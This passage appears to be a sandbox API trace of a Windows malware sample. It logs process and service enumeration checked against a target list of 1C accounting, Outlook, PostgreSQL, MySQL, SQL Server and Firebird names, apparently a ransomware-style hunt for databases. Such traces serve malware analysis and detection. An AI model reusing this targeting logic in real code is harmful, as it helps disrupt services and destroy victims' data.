(lpString1="postgres.exe", lpString2="System") returned -1 [0272.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0272.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0272.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0272.212] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.212] lstrlenW (lpString="smss.exe") returned 8 [0272.212] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0272.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0272.213] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0272.213] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0272.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0272.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0272.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0272.213] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.213] lstrlenW (lpString="csrss.exe") returned 9 [0272.213] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.213] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.213] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.213] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.213] lstrlenW (lpString="wininit.exe") returned 11 [0272.213] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0272.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0272.213] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0272.213] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0272.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0272.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0272.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0272.214] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.214] lstrlenW (lpString="csrss.exe") returned 9 [0272.214] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.214] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.214] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.214] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.214] lstrlenW (lpString="winlogon.exe") returned 12 [0272.214] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0272.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0272.214] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0272.214] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0272.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0272.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0272.215] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0272.215] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.215] lstrlenW (lpString="services.exe") returned 12 [0272.215] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0272.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0272.215] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0272.215] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0272.215] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0272.215] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0272.215] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0272.215] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.215] lstrlenW (lpString="lsass.exe") returned 9 [0272.215] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0272.215] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0272.215] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0272.215] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0272.215] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0272.215] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0272.215] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0272.215] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.216] lstrlenW (lpString="lsm.exe") returned 7 [0272.216] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0272.216] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0272.216] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0272.216] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0272.216] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0272.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0272.216] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0272.216] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.216] lstrlenW (lpString="svchost.exe") returned 11 [0272.216] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.216] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.216] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.216] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.216] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.216] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.216] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.217] lstrlenW (lpString="svchost.exe") returned 11 [0272.217] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.217] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.217] lstrlenW (lpString="svchost.exe") returned 11 [0272.217] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.217] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.217] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.218] lstrlenW (lpString="svchost.exe") returned 11 [0272.218] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0272.218] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.218] lstrlenW (lpString="svchost.exe") returned 11 [0272.218] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0272.218] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0272.218] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.218] lstrlenW (lpString="audiodg.exe") returned 11 [0272.218] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.219] lstrlenW (lpString="svchost.exe") returned 11 [0272.219] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.219] lstrlenW (lpString="svchost.exe") returned 11 [0272.219] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0272.219] lstrlenW (lpString="userinit.exe") returned 12 [0272.219] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.220] lstrlenW (lpString="dwm.exe") returned 7 [0272.220] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.220] lstrlenW (lpString="explorer.exe") returned 12 [0272.220] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.220] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.220] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.221] lstrlenW (lpString="taskhost.exe") returned 12 [0272.221] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.221] lstrlenW (lpString="svchost.exe") returned 11 [0272.221] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0272.221] lstrlenW (lpString="payload2.exe") returned 12 [0272.221] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0272.222] lstrlenW (lpString="reader_sl.exe") returned 13 [0272.222] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.222] lstrlenW (lpString="dllhost.exe") returned 11 [0272.222] Process32NextW (in: hSnapshot=0x2f8, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0272.222] CloseHandle (hObject=0x2f8) returned 1 [0272.222] Sleep (dwMilliseconds=0x1f4) [0272.862] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280bb8 [0272.945] EnumServicesStatusExW (in: hSCManager=0x4280bb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0272.946] GetLastError () returned 0xea [0272.946] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc9a) returned 0x42d41d8 [0272.946] EnumServicesStatusExW (in: hSCManager=0x4280bb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42d41d8, cbBufSize=0xc9a, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42d41d8, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0272.946] CloseServiceHandle (hSCObject=0x4280bb8) returned 1 [0272.946] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.946] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.946] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.946] lstrlenW (lpString="AudioSrv") returned 8 [0272.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0272.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0272.946] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0272.946] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0272.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0272.946] lstrlenW (lpString="BFE") returned 3 [0272.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.946] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.947] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.947] lstrlenW (lpString="CryptSvc") returned 8 [0272.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.947] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.947] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.947] lstrlenW (lpString="CscService") returned 10 [0272.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0272.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0272.947] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0272.947] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0272.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0272.947] lstrlenW (lpString="DcomLaunch") returned 10 [0272.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.947] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.947] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.947] lstrlenW (lpString="Dhcp") returned 4 [0272.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.947] lstrlenW (lpString="Dnscache") returned 8 [0272.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.948] lstrlenW (lpString="DPS") returned 3 [0272.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.948] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.948] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.948] lstrlenW (lpString="eventlog") returned 8 [0272.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0272.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0272.948] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0272.948] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0272.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0272.948] lstrlenW (lpString="EventSystem") returned 11 [0272.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.948] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.948] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0272.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0272.948] lstrlenW (lpString="gpsvc") returned 5 [0272.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0272.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0272.948] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0272.948] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0272.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0272.948] lstrlenW (lpString="LanmanWorkstation") returned 17 [0272.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0272.948] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0272.948] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0272.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0272.948] lstrlenW (lpString="lmhosts") returned 7 [0272.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0272.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0272.949] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0272.949] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0272.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0272.949] lstrlenW (lpString="MMCSS") returned 5 [0272.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0272.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0272.949] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0272.949] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0272.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0272.949] lstrlenW (lpString="MpsSvc") returned 6 [0272.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0272.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0272.949] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0272.949] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0272.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0272.949] lstrlenW (lpString="NlaSvc") returned 6 [0272.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0272.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0272.949] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0272.949] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0272.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0272.949] lstrlenW (lpString="nsi") returned 3 [0272.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.949] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.949] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.949] lstrlenW (lpString="PcaSvc") returned 6 [0272.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.949] 